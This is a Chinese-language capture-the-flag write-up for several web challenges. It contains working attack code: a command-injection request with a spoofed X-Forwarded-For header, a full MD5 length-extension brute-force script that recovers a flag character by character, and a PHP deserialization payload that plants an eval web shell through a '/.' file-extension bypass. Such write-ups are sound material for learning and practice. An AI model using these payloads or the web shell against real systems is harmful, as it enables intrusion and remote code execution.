前言
第一次参加,很多都是原题,发挥的不是很好,挺可惜的。
Web1
挺无语的题,就是猜。
邮箱就是主页上的那个邮箱,密码是password。
Web3
根据提示一步一步走就行
import requests
url = "http://120.53.229.74:52900/?cmd=tac${IFS}/flllllag"
payload={}
files={}
headers = {
'Accept-Language': 'zh-cn',
'User-Agent': 'penson browser',
'Referer': 'https://www.penson.com',
'X-Forwarded-For': '127.0.0.1'
}
response = requests.request("POST", url, headers=headers, data=payload, files=files)
print(response.text)
Web5
伪协议看下文件源码,最后环境似乎有问题?par1234四个参数设下值就直接给flag了。
Web7
<?php
error_reporting(0);
$flag = 'DASCTF{ad83da48baea4a03abb7d3eecbdc332e}';//flag隐藏,方便做题在此随便写了个相同长度的。
if (isset($_GET["md5"]) && isset($_GET["i"]) && isset($_GET["s"])) {
$fl4g = substr_replace($flag, $_GET["s"], $_GET["i"], 1);
echo $_GET["md5"] === md5($fl4g);
} else {
highlight_file(__FILE__);
echo md5($flag . "yusa"); //60fffb8b8dac538b9b5250e29795561a
}
当时没做出来,很可惜。
首先得知道substr_replace
函数具体作用,总结一下就是吃掉某一个位置的字符,并插入字符串。
<?php
$flag = 'DASCTF{123}';
echo substr_replace($flag, '*', -1, 1);
//DASCTF{123*
echo substr_replace($flag, '**', -2, 1);
//DASCTF{12**}
echo substr_replace($flag, '*', 9, 1);
//DASCTF{123}*
已知:md5(flag+'yasu')
①与flag
长度
由MD5长度扩展攻击原理可知,则可以算出md5(flag+'yasu'+填充字符+扩展字符)
②
整理下思路,假设是DASCTF{123}
,已知最后一个字符是}
于是从倒数第二个字符开始猜。
填充字符是自动生成的不用管,由于是吃掉倒数第二个字符并插入字符串,这样}
就被挤到了最后,所以扩展字符就是}
,如图所示:
于是,*
跑一遍ascii字符,如果*
正确,则$_GET["md5"] === md5($fl4g)
返回1。
然后就可以猜第二个字符,此时扩展
按这个思路,就可以一步一步爆出flag
脚本如下:
# -*- coding: utf-8 -*-
# @Author: King kaki
# @Date: 2018-08-04 12:40:11
# @Last Modified by: kingkk
# @Last Modified time: 2018-08-12 15:08:28
import math
import requests
from urllib.parse import quote, unquote
F = lambda x, y, z: ((x & y) | ((~x) & z))
G = lambda x, y, z: ((x & z) | (y & (~z)))
H = lambda x, y, z: (x ^ y ^ z)
I = lambda x, y, z: (y ^ (x | (~z)))
L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff))
shi_1 = (7, 12, 17, 22) * 4
shi_2 = (5, 9, 14, 20) * 4
shi_3 = (4, 11, 16, 23) * 4
shi_4 = (6, 10, 15, 21) * 4
m_1 = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)
m_2 = (1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12)
m_3 = (5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2)
m_4 = (0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9)
def T(i):
return (int(4294967296 * abs(math.sin(i)))) & 0xffffffff
def shift(shift_list):
shift_list = [shift_list[3], shift_list[0], shift_list[1], shift_list[2]]
return shift_list
def fun(fun_list, f, m, shi):
count = 0
global Ti_count
while count < 16:
xx = int(fun_list[0], 16) + f(int(fun_list[1], 16), int(fun_list[2],
16), int(fun_list[3], 16)) + int(m[count], 16) + T(
Ti_count)
xx &= 0xffffffff
ll = L(xx, shi[count])
fun_list[0] = hex((int(fun_list[1], 16) + ll) & 0xffffffff)
fun_list = shift(fun_list)
count += 1
Ti_count += 1
return fun_list
def gen_m16(order, ascii_list, f_offset):
ii = 0
m16 = [0] * 16
f_offset *= 64
for i in order:
i *= 4
m16[ii] = '0x' + ''.join((ascii_list[i + f_offset] + ascii_list[i + 1 + f_offset] +
ascii_list[i + 2 + f_offset] + ascii_list[i + 3 + f_offset]).split('0x'))
ii += 1
for ind in range(len(m16)):
m16[ind] = reverse_hex(m16[ind])
return m16
def reverse_hex(hex_str):
hex_str = hex_str[2:]
if len(hex_str) < 8:
hex_str = '0' * (8 - len(hex_str)) + hex_str
hex_str_list = []
for i in range(0, len(hex_str), 2):
hex_str_list.append(hex_str[i:i + 2])
hex_str_list.reverse()
hex_str_result = '0x' + ''.join(hex_str_list)
return hex_str_result
def show_result(f_list):
result = ''
f_list1 = [0] * 4
for i in f_list:
f_list1[f_list.index(i)] = reverse_hex(i)[2:]
result += f_list1[f_list.index(i)]
return result
def padding(input_m, msg_lenth=0):
ascii_list = list(map(hex, map(ord, input_m)))
msg_lenth += len(ascii_list) * 8
ascii_list.append('0x80')
for i in range(len(ascii_list)):
if len(ascii_list[i]) < 4:
ascii_list[i] = '0x' + '0' + ascii_list[i][2:]
while (len(ascii_list) * 8 + 64) % 512 != 0:
ascii_list.append('0x00')
msg_lenth_0x = hex(msg_lenth)[2:]
msg_lenth_0x = '0x' + msg_lenth_0x.rjust(16, '0')
msg_lenth_0x_big_order = reverse_hex(msg_lenth_0x)[2:]
msg_lenth_0x_list = []
for i in range(0, len(msg_lenth_0x_big_order), 2):
msg_lenth_0x_list.append('0x' + msg_lenth_0x_big_order[i: i + 2])
ascii_list.extend(msg_lenth_0x_list)
return ascii_list
def md5(input_m):
global Ti_count
Ti_count = 1
abcd_list = ['0x67452301', '0xefcdab89', '0x98badcfe', '0x10325476']
ascii_list = padding(input_m)
for i in range(0, len(ascii_list) // 64):
aa, bb, cc, dd = abcd_list
order_1 = gen_m16(m_1, ascii_list, i)
order_2 = gen_m16(m_2, ascii_list, i)
order_3 = gen_m16(m_3, ascii_list, i)
order_4 = gen_m16(m_4, ascii_list, i)
abcd_list = fun(abcd_list, F, order_1, shi_1)
abcd_list = fun(abcd_list, G, order_2, shi_2)
abcd_list = fun(abcd_list, H, order_3, shi_3)
abcd_list = fun(abcd_list, I, order_4, shi_4)
output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
abcd_list = [output_a, output_b, output_c, output_d]
Ti_count = 1
print(ascii_list)
return show_result(abcd_list)
# md5-Length Extension Attack: 计算 md5(message + padding + suffix), res = md5(message), len_m = len(message)
def md5_lea(suffix, res, len_m):
global Ti_count
Ti_count = 1
abcd_list = []
for i in range(0, 32, 8):
abcd_list.append(reverse_hex('0x' + res[i: i + 8]))
# print(abcd_list)
ascii_list = padding(suffix, (len_m + 72) // 64 * 64 *
8) # len(message + padding) * 8
# print(ascii_list)
for i in range(0, len(ascii_list) // 64):
aa, bb, cc, dd = abcd_list
order_1 = gen_m16(m_1, ascii_list, i)
order_2 = gen_m16(m_2, ascii_list, i)
order_3 = gen_m16(m_3, ascii_list, i)
order_4 = gen_m16(m_4, ascii_list, i)
abcd_list = fun(abcd_list, F, order_1, shi_1)
abcd_list = fun(abcd_list, G, order_2, shi_2)
abcd_list = fun(abcd_list, H, order_3, shi_3)
abcd_list = fun(abcd_list, I, order_4, shi_4)
output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
abcd_list = [output_a, output_b, output_c, output_d]
Ti_count = 1
# print(ascii_list)
return show_result(abcd_list)
def url_append(hex_bit):
len_append = '0x{}{}'.format((18 - len(hex_bit)) * '0', hex_bit[2:])
len_append = reverse_hex(len_append)[2:]
# print(len_append)
t = ''
for i in range(len(len_append)):
if i % 2 == 0:
t += '%' + len_append[i:i + 2]
else:
pass
return t
if __name__ == '__main__':
'''
修改res为已知哈希值
extend 为扩展字符
'''
res = '60fffb8b8dac538b9b5250e29795561a'
url = 'http://127.0.0.1/3.php'
payload = '?md5={}&i=-{}&s={}yusa{}'
data = '}' # 已知flag最后一个字符是}
extend = '}' # 预先设置扩展字符,因为扩展字符长度最小为1
i = 44 # len(flag)+len('yasu')=44
for k in range(2, 44):
for j in range(32, 127):
hex_bit = hex(i * 8)
t = url_append(hex_bit) # 将十六进制换成小端表示,并转换为url编码表示
a = md5_lea(extend, res, i) # 算出md5
b = '%80{}{}'.format((55 - i) * '%00', t)
# 填充到64字节,则需要len(flag)+len('yasu')+填充长度+8=64,len(flag)+len('yasu')+填充长度=i+填充长度=56,填充长度=56-i,但填充的字符是%80*1+%00*N,所以需要填充的%00个数是55-i
tmp = requests.get(url + payload.format(a, k, chr(j) + extend, b))
if tmp.text == '1':
print(url + payload.format(a, k, chr(j) + extend, b))
extend = chr(j) + extend
data = chr(j) + data
print(data)
break
Web8
<?php
highlight_file(__FILE__);
class OhYouFindIt{
public $content = "Hello Hacker.<br>";
function __destruct(){
echo $this->content;
}
}
class writeshell{
public $filename;
public $content;
function __toString()
{
if(!in_array(pathinfo($this->filename, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
system('rm -rf ../upload/*');
file_put_contents("../upload/".$this->filename, $this->content);
echo "ok~ You File is"."../upload/".$this->filename;
}else{
exit("Go Way Hacker");
}
return "";
}
}
$content = $_GET['content'];
if (!isset($content))
{
$a = new OhYouFindIt();
}else{
unserialize(base64_decode($content));
}
用/.
绕过后缀名检测,paylaod:
<?php
class OhYouFindIt
{
public $content;
public function __construct()
{
$this->content = new writeshell();
}
}
class writeshell
{
public $filename;
public $content;
public function __construct()
{
$this->filename = 'cmd.php/.';
$this->content = '<?php eval($_GET[cmd]);';
}
}
echo base64_encode(serialize(new OhYouFindIt()));